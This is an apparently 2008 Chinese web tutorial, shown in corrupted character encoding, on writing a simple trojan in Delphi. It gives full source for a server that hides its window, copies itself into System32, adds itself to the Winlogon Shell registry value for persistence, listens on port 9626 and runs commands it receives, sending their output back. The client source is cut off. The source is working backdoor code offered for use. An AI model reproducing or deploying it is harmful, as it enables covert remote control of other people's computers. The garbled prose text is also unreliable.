ÊÖ»úÕ¾
ÍøÍ¨·ÖÕ¾
µçÐÅÖ÷Õ¾
ÃÜ¡¡Âë:
Óû§Ãû£º
µ±Ç°Î»Öà : Ö÷Ò³>³ÌÐòÉè¼Æ>delphi>Áбí

DelphiÏ¡°ÅàÑø¡±×Ô¼ºµÄ¼òµ¥Ä¾Âí

À´Ô´£º»¥ÁªÍø ×÷ÕߣºÎ÷²¿ÊýÂë ʱ¼ä£º2008-04-09
Î÷²¿ÊýÂë-È«¹úÐéÄâÖ÷»ú10Ç¿£¡40ÓàÏîÐéÄâÖ÷»ú¹ÜÀí¹¦ÄÜ,È«¹úÁìÏÈ!Ë«Ïß¶àÏßÐéÄâÖ÷»úÄϱ±·ÃÎʳ©Í¨ÎÞ×è!Ãâ·ÑÔùËÍÆóÒµÓʾÖ,.CNÓòÃû,×ÔÖú½¨Õ¾480ÔªÆð,Ãâ·ÑÊÔÓÃ7Ìì,ÂúÒâÔÙ¸¶¿î! P4Ö÷»ú×âÓÃ799Ôª/ÔÂ.Ô¸¶Ãâѹ½ð!

¡¡¡¡¸ÕѧµçÄÔʱºÜϲ»¶ÍøÂ簲ȫ£¬¿´×ŸßÊÖÃÇдµÄÒ»¸öÓÖÒ»¸ö¹¥»÷¹¤¾ß£¬×Ô¼ºÒ²×ÜÏëŬÁ¦È¥Ñ§ºÃ±à³ÌȥдÊôÓÚ×Ô¼ºµÄ³ÌÐò¡£Ñ§DELPHI¿ìÒ»ÄêÁË£¬¸Ð¾õʲô¶¼Ã»Ñ§µ½£¬²ÑÀ¢°¡¡£½ñÍíͻȻÏëѧ×ÅдľÂí£¬ÓÚÊÇÊÖæ½ÅÂÒµÄÇÃÁ˵ã´úÂ룬³¬¼òµ¥£¬Ô¸×Ô¼ºÄÜԽдԽºÃ£¡£¡£¡

¡¡¡¡³ÌÐò¸ú´«Í³Ä¾ÂíÒ»Ñù£¬·Ö·þÎñ¶ËºÍ¿Í»§¶Ë¡£ÔËÐзþÎñ¶Ëºó»á¸´ÖÆ×ÔÉíµ½SYSTEM32Ŀ¼ÏÂÃæ£¬²¢ÔÚ×¢²á±íÌí¼ÓÒ»×Ô¶¯ÐÐÆô¶¯Ï´ò¿ª±¾»ú9626¶Ë¿Ú¿ªÊ¼µÈ´ý½ÓÊÕ¿Í»§¶ËµÄÊý¾Ý¡£µ±½ÓÊÕµ½¿Í»§¶ËÊý¾Ýʱ¾Íµ±×÷CMDÃüÁîÈ¥Ö´ÐУ¬×îºó°Ñ»ØÏÔ´«Ëͻؿͻ§¶Ë¡£¿Í»§¶ËºÜ¼òµ¥£¬¸ú·þÎñ¶ËÁ¬½Ó³É¹¦ºó£¬ÊäÈëÃüÁîµãÖ´ÐУ¬Õý³£µÄ»°¿ÉÒÔÊÕµ½·þÎñ¶ËµÄÖ´Ðнá¹ûÁË¡£

MM

¡¡¡¡Ô´ÂëÈçÏ£º

////Server.pas//////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///²¿·Ö´úÂë´ÓÍøÉÏÊÕ¼¯///////////
////////////////////////////////

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;

type
TFmMain = class(TForm)
SS: TServerSocket;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
FmMain: TFmMain;
reg:TRegistry;

implementation

{$R *.dfm}

procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200; //ÔËÐв»ÏÔʾ´°¿Ú
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then
reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //½¨Á¢¿ª»úÆô¶¯Ïî
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir '\Lysvr.exe') then
copyfile(Pchar(Application.exeName),pchar(sysdir '\Lysvr.exe'),true);

SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;

procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('Á¬½Ó³É¹¦'); //·¢ÏÖÓÐÁ¬½Óʱ»Ø´«¡®Á¬½Ó³É¹¦ ¡¯
end;

procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('²»ÄÜ´´½¨¹ÜµÀ');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////Ö´ÐÐCMDÃüÁî////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('²»ÄÜ´´½¨½ø³Ì');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer<>0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph); //memo½ÓÊÕ»ØÏÔ
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///½«»ØÏÔ·¢Ëͻؿͻ§¶Ë
end;

end.

///////////////////////////////////////////////////////////////////////////////////////////

//////¿Í»§¶Ë/////////////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
////////////////////////////////

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;

type
TFmMain = class(TForm)
WebBrowser1: TWebBrowser;
Label3: TLabel;
Edit2: TEdit;

ÎÄÕÂÕûÀí£ºÎ÷²¿ÊýÂë--רҵÌṩÓòÃû×¢²á¡¢ÐéÄâÖ÷»ú·þÎñ
http://www.west263.com
ÒÔÉÏÐÅÏ¢ÓëÎÄÕÂÕýÎÄÊDz»¿É·Ö¸îµÄÒ»²¿·Ö,Èç¹ûÄúÒª×ªÔØ±¾ÎÄÕÂ,Çë±£ÁôÒÔÉÏÐÅÏ¢£¬Ð»Ð»!